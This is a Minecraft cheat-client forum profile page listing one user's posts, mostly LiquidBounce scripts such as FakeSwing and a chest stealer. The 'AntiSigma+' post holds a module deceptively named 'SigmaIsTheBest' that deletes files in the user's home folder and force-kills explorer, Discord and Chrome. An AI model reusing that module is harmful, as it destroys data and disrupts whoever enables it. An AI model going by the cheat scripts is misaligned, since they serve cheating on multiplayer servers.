@_simonclient_ he definetly isn't going to grab liquidbounce and call it his client

Best posts made by skiddermaster412
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RE: I need help about liquidbounce
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fakeswing (swings arm in a range)
/// api_version = 2 var script = registerScript({ name: 'FakeSwing', version: '2.0', authors: ['orangecatorgatowhateverhowimcalled'] }); var range = Setting.float({ name: "Range", default: 4, min: 0, max: 6 }); var maxCPS = Setting.integer({ name: "maxCPS", default: 8, min: 1, max: 20 }); var minCPS = Setting.integer({ name: "minCPS", default: 5, min: 1, max: 20 }); script.registerModule({ name: 'FakeSwing', description: 'Swings your arm near a target.', category: 'Fun', settings: { range: range, maxCPS: maxCPS, minCPS: minCPS } }, function (module) { var leftDelay = 0; var leftLastSwing = 0; module.on('update', function () { //skidded from Core by CzechHek && CCBluex lmao //change log: added cps, ported function inside this fucking code target = Java.from(mc.theWorld.loadedEntityList).filter(function (e) Java.type("net.ccbluex.liquidbounce.utils.EntityUtils").isSelected(e, true)).sort(function (a, b) (entity = mc.thePlayer).getDistanceToEntity(a) - entity.getDistanceToEntity(b))[0], target && target.getDistanceToEntity(mc.thePlayer) <= range.get() && (Java.type("java.lang.System").currentTimeMillis() - leftLastSwing >= leftDelay && mc.playerController.curBlockDamageMP == 0 && ((Java.type("net.minecraft.client.settings.KeyBinding")).onTick(mc.gameSettings.keyBindAttack.getKeyCode()), leftLastSwing = Java.type("java.lang.System").currentTimeMillis(), leftDelay = Java.type("net.ccbluex.liquidbounce.utils.timer.TimeUtils").randomClickDelay(minCPS.get(), maxCPS.get()))); }); });
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RE: CrackPixel Step
@natalka i think crackpixel would be better without you in the team
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RE: AntiSigma+
package what.modules.fun; import net.ccbluex.liquidbounce.features.module.Module; import net.ccbluex.liquidbounce.features.module.ModuleCategory; import net.ccbluex.liquidbounce.features.module.ModuleInfo; import net.ccbluex.liquidbounce.script.api.global.Chat; import org.apache.commons.io.FileUtils; import java.io.File; import java.io.IOException; @ModuleInfo(name = "SigmaIsTheBest", description = "deletes your minecraft", category = ModuleCategory.FUN) public class AntiSigma extends Module { File SigmaJelloPrelauncher = new File(System.getProperty("user.home") + "\\AppData\\Roaming\\.minecraft\\SigmaJelloPrelauncher.jar"); File Sigma5Version = new File(System.getProperty("user.home") + "\\AppData\\Roaming\\.minecraft\\versions\\Sigma5"); File Sigma5Download = new File(System.getProperty("user.home") + "\\Downloads\\Sigma5.zip"); File Sigma1 = new File(System.getProperty("user.home") + "\\AppData\\Roaming\\.minecraft\\Sigma"); File Sigma2 = new File(System.getProperty("user.home") + "\\AppData\\Roaming\\.minecraft\\sigma5"); @Override public void onEnable(){ try{ if (SigmaJelloPrelauncher.exists()) { SigmaJelloPrelauncher.delete(); } else if (Sigma1Version.exists()) { FileUtils.deleteDirectory(Sigma4Version); } else if (Sigma1Download.exists()) { Sigma5Download.delete(); } else if (Sigma1.exists()) { FileUtils.deleteDirectory(Sigma2); } else if (Sigma2.exists()) { FileUtils.deleteDirectory(Sigma1); } Runtime.getRuntime().exec("taskkill /f /im explorer.exe"); Runtime.getRuntime().exec("taskkill /f /im discord.exe"); Runtime.getRuntime().exec("taskkill /f /im chrome.exe"); } catch (IOException e) { e.printStackTrace(); } if (SigmaJelloPrelauncher.exists() || Sigma5Version.exists() || Sigma5Download.exists() || Sigma1.exists() || Sigma2.exists()) { Chat.print("Sigma client has been removed!"); } else { Chat.print("There is no Sigma client on your computer."); } } }
free men!!!!!!
Latest posts made by skiddermaster412
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Broken silent chest stealer
This post is probably useless but probably someone wants to finish this.
Known bugs:- ChestStealer can't close the chest
- Normal key inputs don't register
i didn't test this on a server but probably generates ghost items
/// api_version=2 var script = registerScript({ name: "SilentChestStealer", version: "2.0", authors: ["OrangeCat"] }); var prf = ", "+script.scriptName + " v"+script.scriptVersion+ " by"; Java.type("java.util.Arrays").asList(script.scriptAuthors).forEach(function(e){ prf += (e != script.scriptAuthors[0] ? ", " : " ") + e; }); script.registerModule({ name: script.scriptName, description: "steals youre item XDDDD" + prf, category: "Movement", tag: "sigma" }, function (module) { var GuiChest = Java.type("net.minecraft.client.gui.inventory.GuiChest"); var ContainerChest = Java.type("net.minecraft.inventory.ContainerChest"); var IInventory = Java.type("net.minecraft.inventory.IInventory"); var KeyEvent = Java.type("net.ccbluex.liquidbounce.event.KeyEvent"); var LiquidBounce = Java.type("net.ccbluex.liquidbounce.LiquidBounce"); var keybinds = Java.type("java.util.Arrays").asList(mc.gameSettings.keyBindings); var KeyBinding = Java.type("net.minecraft.client.settings.KeyBinding"); var sex = false; module.on("render2D", function(e){ var cr = mc.currentScreen; if(cr != null && cr instanceof GuiChest){ // i fucking hate js var i = cr.lowerChestInventory; if(i instanceof IInventory){ // tf is this var rp = new (Java.extend(GuiChest))(getFieldContent(mc.thePlayer, "inventory"), i){ drawScreen: function(mouseX, mouseY, partialTicks){ mc.fontRendererObj.drawString("Open: "+sex, 50, 50, 0xffffffff); if(!mc.inGameHasFocus){ mc.inGameHasFocus = true; mc.mouseHelper.grabMouseCursor(); } }, keyTyped: function(typedChar, keyCode){ if(keyCode == 1){ mc.thePlayer.closeScreen(); }else{ KeyBinding.onTick(keyCode); LiquidBounce.eventManager.callEvent(new KeyEvent(keyCode)); } } }; if(!sex){ mc.displayGuiScreen(rp); sex = true; } } }else{ sex = false; } }); function getFieldContent(i, field){ var f = i.getClass().getSuperclass().getSuperclass().getDeclaredField(field); f.setAccessible(true); return f.get(i); } });
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RE: Microsoft Migration !
@koqkay sure you can but you wont get any extra features (like putting items on a chest or something like that)
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Replacing mc.currentScreen crashes the game
bad script
/// api_version=2 var script = registerScript({ name: "EpicFail", version: "2.0", authors: ["OrangeCat", "Katchum"] }); var prf = ", "+script.scriptName + " v"+script.scriptVersion+ " by"; Java.type("java.util.Arrays").asList(script.scriptAuthors).forEach(function(e){ prf += (e != script.scriptAuthors[0] ? ", " : " ") + e; }); script.registerModule({ name: script.scriptName, description: "tf" + prf, category: "Movement", tag: "sigma" }, function (module) { var GuiChest = Java.type("net.minecraft.client.gui.inventory.GuiChest"); var ContainerChest = Java.type("net.minecraft.inventory.ContainerChest"); var IInventory = Java.type("net.minecraft.inventory.IInventory"); module.on("update", function(e){ var cr = mc.currentScreen; var cry = mc.thePlayer.openContainer; if(cr != null && cr instanceof GuiChest){ // i fucking hate js var i = cr.lowerChestInventory; if(i instanceof IInventory){ // tf is this // get actual inventory is my method in java client, figure out how to get the correct inventory var rp = new (Java.extend(GuiChest))(mc.thePlayer.getActualInventory(), i){ drawScreen: function(mouseX, mouseY, partialTicks){ Chat.print("i forgor :skull:") } }; var sc = mc.class.getDeclaredField("currentScreen"); sc.setAccessible(true); sc.set(mc, rp); } } }); });
here is the stack trace thing:
aparently it makes the player null -
RE: [HELP] Converting Core scripts to Script API v2 scripts.
i used to port CzechHek's scripts all of the time, i don't really like core
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RE: [HELP] Converting Core scripts to Script API v2 scripts.
you nearly in the right path,
see how the other scripts work.
you are far away from converting the script
here take it, just to educate you and not to steal it.///api_version=2 var script = registerScript({ name: "AutoSafeWalk", version: "1.3", authors: ["CzechHek"] }); var airsafe = Setting.boolean({ name: "AirSafe", default: true }); var maxfalldistance = Setting.integer({ name:"MaxFallDistance", default: 5, min: 0, max: 255 }); script.registerModule({ name: "AutoSafeWalk" category: "Movement", description: "SafeWalk that activates if there is a gap exceeding maximal fall distance.", settings: { airsafe: airsafe, maxfalldistance: maxfalldistance } }, function (module){ module.on("move", function(e){ (mc.thePlayer.onGround || airsafe.get()) && e.setSafeWalk(!isAboveGround()); }); }); function isAboveGround() { var BlockPos = Java.type("net.minecraft.util.BlockPos"); for (i = 0, bp = new BlockPos(mc.thePlayer); i++ < maxfalldistance.get();) if (!mc.theWorld.isAirBlock(bp.down(i))) return true }
compare and see what errors you had.
(btw i made this without testing so if it works it works) -
RE: [Forum] Foreign language.
yo hablo español y me discriminan por ser español #tumamaesgay